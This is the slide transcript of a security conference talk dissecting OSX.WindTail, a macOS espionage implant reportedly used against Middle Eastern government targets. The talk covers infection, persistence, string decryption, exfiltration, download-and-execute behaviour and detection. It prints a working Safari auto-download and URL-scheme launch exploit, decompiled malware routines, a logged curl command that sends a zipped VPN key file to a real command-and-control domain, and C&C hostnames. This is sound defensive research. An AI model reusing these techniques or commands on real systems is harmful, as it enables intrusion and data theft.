Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Cyber-Espionage in the Middle East: Unravelling OSX.WindTail

Cyber-Espionage in the Middle East: Unravelling OSX.WindTail

It's no secret that many nation-states possess offensive macOS cyber capabilities, though such capabilities are rarely publicly uncovered. However, when such tools are detected, they provide unparalleled insight into the operations and techniques utilized by advanced adversaries. In this talk, we'll comprehensively dissect one such tool: the first-stage macOS implant utilized by the WINDSHIFT APT group (who targeted individuals of a certain Middle-Eastern government). After analyzing the malware's unique infection vector, we'll discuss its method of persistence, and capabilities. To conclude, we'll present heuristic methods of detection that can generically detect this, as well as other advanced macOS threats.

Patrick Wardle

October 03, 2019
Tweet

More Decks by Patrick Wardle

Other Decks in Technology

Transcript

  1. WINDSHIFT APT targeting macOS systems in the middle east "In

    the Trails of WindShift APT" 
 (T. Karim, Hack in the Box GSEC) Taha Karim WindShift APT group: "targeted specific individuals working in government departments and critical infrastructure across the Middle East" } WindShift APT toolset: OSX.WindTail OSX.WindTape
  2. ...virustotal to the rescue FINDING SAMPLES "In the Trails of

    WindShift APT" 
 (T. Karim) "name: Meeting_Agenda" sample never shared (afaik) a match!
  3. ...virustotal to the rescue FINDING SAMPLES "similar-to" NPC_Agenda_230617.zip1 
 SHA-1:

    df2a83dc0ae09c970e7318b93d95041395976da7 Scandal_Report_2017.zip 
 SHA-1: 6d1614617732f106d5ab01125cb8e57119f29d91 Final_Presentation.zip 
 SHA-1: da342c4ca1b2ab31483c6f2d43cdcc195dfe481b } new samples?! (0 detections)
  4. FINAL_PRESENTATION.APP $ codesign -dvv /Users/patrick/Downloads/WindTail/Final_Presentation.app Executable=/Users/patrick/Downloads/WindTail/Final_Presentation.app/Contents/MacOS/usrnode Identifier=com.alis.tre Format=app bundle with

    Mach-O thin (x86_64) Signature size=8526 Authority=(unavailable) Info.plist=not bound TeamIdentifier=95RKE2AA8F standard mac application executable: 'usrnode' signed! (team id: 95RKE2AA8F) code signing information
  5. launch services interactions? INFECTION VECTOR # fs_usage -w -f filesystem


    open (R_____) ~/Downloads/WindTail/Final_Presentation.app lsd open (R_____) ~/Downloads/WindTail/Final_Presentation.app/Contents/Info.plist lsd PgIn[A] /private/var/folders/pw/sv96s36d0qgc_6jh45jqmrmr0000gn/0/com.apple.LaunchServices-231-v2.csstore launch services daemon (lsd)..."processing" the app? zip download auto extract
  6. $ lsregister -dump
 BundleClass: kLSBundleClassApplication bundle id: 56080 ... path:

    ~/Downloads/Final_Presentation.app schemesList: openurl2622007 ------------------------------------------ claim id: 208600 rank: Default roles: Viewer flags: url-type bindings: openurl2622007: automatic registration of custom URL handlers $ cat Final_Presentation.app/ Contents/Info.plist <?xml version="1.0" encoding="UTF-8"?> <dict> ... <key>CFBundleURLTypes</key> <array> <dict> <key>CFBundleURLName</key> <string>Local File</string> <key>CFBundleURLSchemes</key> <array> <string>openurl2622007</string> </array> </dict> </array> custom url scheme (Info.plist) custom url schemes INFECTION VECTOR launch services database
  7. download and execute via Safari EXAMPLE EXPLOIT //auto download .zip


    //Safari will unzip & trigger url registration
 var a = document.createElement('a');
 a.setAttribute('href', 'https://file.io/kBTfCn');
 a.setAttribute('download', 'Final_Presentation');
 $(a).appendTo('body');
 
 $(a)[0].click();
 
 //launch app via custom url scheme
 location.replace("openurl2622007://"); 01 02 03 04 05 06 07 08 09 10 11
 download & launch malware "Final_Presentation"
  8. via login item PERSISTENCE int main(int argv, char** argv) {


    
 r12 = [NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]];
 
 rbx = LSSharedFileListCreate(0x0, _kLSSharedFileListSessionLoginItems, 0x0);
 LSSharedFileListInsertItemURL(rbx, _kLSSharedFileListItemLast, 0x0, 0x0, r12, 0x0, 0x0);
 ...
 
 rax = NSApplicationMain(r15, r14);
 return rax;
 } 01 02 03 04 05 06 07 08 09 10 11
 login item persistence
  9. copy into ~/Library INSTALLATION LOGIC (lldb) po $rdi <NSFileManager: 0x1001221e0>

    (lldb) x/s $rsi "copyItemAtPath:toPath:error:" (lldb) po $rdx /Users/user/Downloads/Final_Presentation.app (lldb) po $rcx /Users/user/Library/Final_Presentation.app /* @class appdele */
 -(void)cp {
 ...
 [fileManager copyItemAtPath:r15
 toPath:rbx error:0x0]; 01 02 03 04 05 # fs_usage -w -f filesystem open /Users/user/Downloads/Final_Presentation.app mkdir /Users/user/Library/Final_Presentation.app ... ~/Downloads ~/Library installed malware [appdele cp] method file monitor debugging (args)
  10. ...again!? PERSISTENCE # ./processMonitor
 [ process start] pid: 917 path:

    /usr/bin/open args: ( open, "-a", "~/Library/Final_Presentation.app" ) process monitor ~/Downloads ~/Library `open ~/Library/ Final_Presentation.app` both instances are persisted...
  11. AES w/ a hardcoded key STRING ENCRYPTION encoded (& encrypted)

    strings /* @class appdele */
 -(void *)yan {
 var_30 = [self yoop:@"BouCfWujdfbAUfCos/iIOg=="];
 [self yoop:@"Bk0WPpt0IFFT30CP6ci9jg=="];
 [self yoop:@"RYfzGQY52uA9SnTjDWCugw=="]; 
 
 return [NSMutableArray arrayWithObjects:var_30];
 } 01 02 03 04 05 06 07 08 -(void *)yoop:(void *)string {
 return [[[NSString alloc] initWithData:
 [[yu decode:string] AESDecryptWithPassphrase:key]];
 } 01 02 03 04 'yan' invokes 'yoop:' 'yoop:' (+AES decryption) crypto key
  12. runtime decryption of strings DYLIB INJECTION load library & 


    hook decryption routine?! overwrite (un-needed) LC_LOAD_DYLIB entry $ vmmap usrnode __TEXT ~/Library/Final_Presentation.app/ Contents/MacOS/usrnode __TEXT ~/Library/Final_Presentation.app/ Contents/MacOS/swizzle.dylib 'injected' dylib: loaded
  13. "SWIZZLING" DECRYPTION ROUTINE method_exchangeImplementations(
 class_getInstanceMethod([self class], @selector(swizzle:)),
 class_getInstanceMethod(NSClassFromString(@"appdele"), @selector(yoop:)));
 


    -(NSString*)swizzle:(NSData*)data {
 
 //invoke original method ("yoop") to decrypt 
 decrypted = ((NSString*(*)(id,SEL,NSData*))origImplementation)(self,@selector(yoop:), data);
 
 //modify decrypted string as needed!
 
 return decrypted; } 01 02 03 04 05 06 07 08 09 10 11 12 13 swaps methods, via 'swizzle' url = [r15 yoop:@"F5Ur0CCFMO...]; 01 "flux2key.com" print "decrypted: %s" "F5Ur0CCFMO..." method: "swizzle" method: "yoop" "F5Ur0CCFMO..." -> "flux2key.com"
  14. DECRYPTED STRINGS $ open Final_Presentation.app dylib: loaded in usrnode (pid

    666)
 dylib: swizzled '-[appdele yoop:]'
 dylib: decrypted: "Library/" 
 dylib: decrypted: "doc"
 dylib: decrypted: "docx"
 dylib: decrypted: "ppt"
 
 dylib: decrypted: flux2key.com
 dylib: decrypted: string2me.com install path, file extensions, and C&C servers install dir C&C servers } file extensions?
  15. FILE EXFILTRATION # ./procInfo [ process start ] pid: 1202

    path: /usr/bin/zip args: ( "/usr/bin/zip", "/tmp/psk.txt.zip",
 "/private/etc/racoon/psk.txt" ) # ./procInfo [ process start ] pid: 1258 path: /usr/bin/curl user: 501 args: ( "/usr/bin/curl", "-F", "vast=@/tmp/psk.txt.zip", "-F", "od=1601201920543863", "-F", "kl=users-mac.lan-user", "string2me.com/.../kESklNvxsNZQcPl.php" ) file collection file exfiltration
 (via curl) <__NSArrayM 0x10018f920>
 (
 "doc", "docx", "ppt", "pdf", "xls,
 "xlsx", "db", "txt", "rtf", "pptx"
 ) file extensions
 (decrypted)
  16. FILE DOWNLOAD -(void)sdf {
 
 //get file name from C&C

    server
 var_50 = [r15 yoop:@"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE....];
 url = [[NSURL alloc] initWithString:[NSString stringWithFormat:var_50, ....];
 request = [NSURLRequest requestWithURL:url,...];
 data = [NSURLConnection sendSynchronousRequest:request ...];
 fileName = [[NSString alloc] initWithData:data encoding:rcx ...];
 
 //get file contents from C&C server
 rcx = [r15 yoop:@"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE98Zvi...];
 fileContents = [NSData dataWithContentsOfURL:[NSURL URLWithString:[NSString 
 stringWithFormat:@"%@%@", rcx, r8] ...];
 
 //save to disk
 [fileContents writeToFile: fileName ...]; 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 $ ./netiquette -list usrnode(4897) 
 127.0.0.1 -> flux2key.com:80 (Established)
 usrnode(4897) 
 127.0.0.1 -> flux2key.com:80 (Established) GET /liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php
 response: file name GET /liaROelcOeVvfjN/update
 response: file contents 2x connections
  17. FILE EXECUTE -(void)sdf {
 
 //extract via 'ditto'
 task =

    [[NSTask alloc] init];
 [task setLaunchPath:[var_68 yoop:@"x3EOmwsZL5..."];
 
 rdx = [NSArray arrayWithObjects:@"-x", @"-k", ...];
 [task setArguments:rdx, ...];
 [task launch];
 
 //launch
 bundle = [[NSBundle bundleWithPath:filePath] executablePath];
 task = [[NSTask alloc] init];
 [task setLaunchPath:bundle];
 [task launch]; 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 # ./procInfo [ process start ] path: /usr/bin/ditto args: ( "/usr/bin/ditto", "-x", "-k", "~/Library/update.zip", "~/Library" )
 [ process start ] path: ~/Library/update.app download & execute
  18. REMOTE SELF-DELETE "1" terminate delete r14 = [NSFileManager defaultManager];
 rdx

    = [[NSBundle mainBundle] bundlePath];
 
 //remove (self)
 [r14 removeItemAtPath:rdx error:rcx];
 
 //terminate (self)
 [[NSApplication sharedApplication] terminate:0x0 ...]; 01 02 03 04 05 06 07 08
 http://flux2key.com/liaROelcOeVvfjN/ fsfSQNrIyxeRvXH.php?very=%@&xnvk=%@ } request self-delete logic
  19. DETECTING EXPLOITATION $ cat Final_Presentation.app/Contents/Info.plist ... <key>CFBundleURLTypes</key> <array> <dict> <key>CFBundleURLSchemes</key>

    <array> <string>openurl2622007</string> $event.isNewDirectory == 1 AND $event.file.isAppBundle == 1 AND $event.file.bundle.infoDictionary.CFBundleURLTypes != nil $event.isNewDirectory == 1 AND $event.process.name == 'Safari' Safari 'auto-open' 'auto' URL handler registration Safari created directory app with custom URL handler application start alert ! + + ?
  20. DETECTING PERSISTENCE backgroundtaskmanagementagent modifies backgrounditems.btm # fs_usage -w -f filesystem

    lstat64 ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm backgroundtaskma.418404 chmod ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm
 backgroundtaskma.418404 warn !
  21. OTHER RUNTIME BEHAVIORS file access, curl, network traffic? + +

    ...other (generic) runtime detections? ? alert ! 1000x file access (+ zip) # ./procInfo path: /usr/bin/curl args: ( "/usr/bin/curl", "-F", "vast=@/tmp/psk.txt.zip", ... ) curl w/ 'POST' params network access (exfil)
  22. MAHALO! Digita Security (formerly) "Friends of Objective-See" [email protected] CleanMyMac X

    Malwarebytes Airo Guardian Mobile Firewall SecureMac SmugMug SentinelOne Trail of Bits Digital Guardian Sophos CyberArk Halo Privacy
  23. @patrickwardle • 'IN THE TRAILS OF WINDSHIFT APT' -T. KARIM

    • 'SHIFTING IN THE WIND' -UNIT42 RESOURCES: IMAGES: • WIRDOU.COM/ OSX.WindTail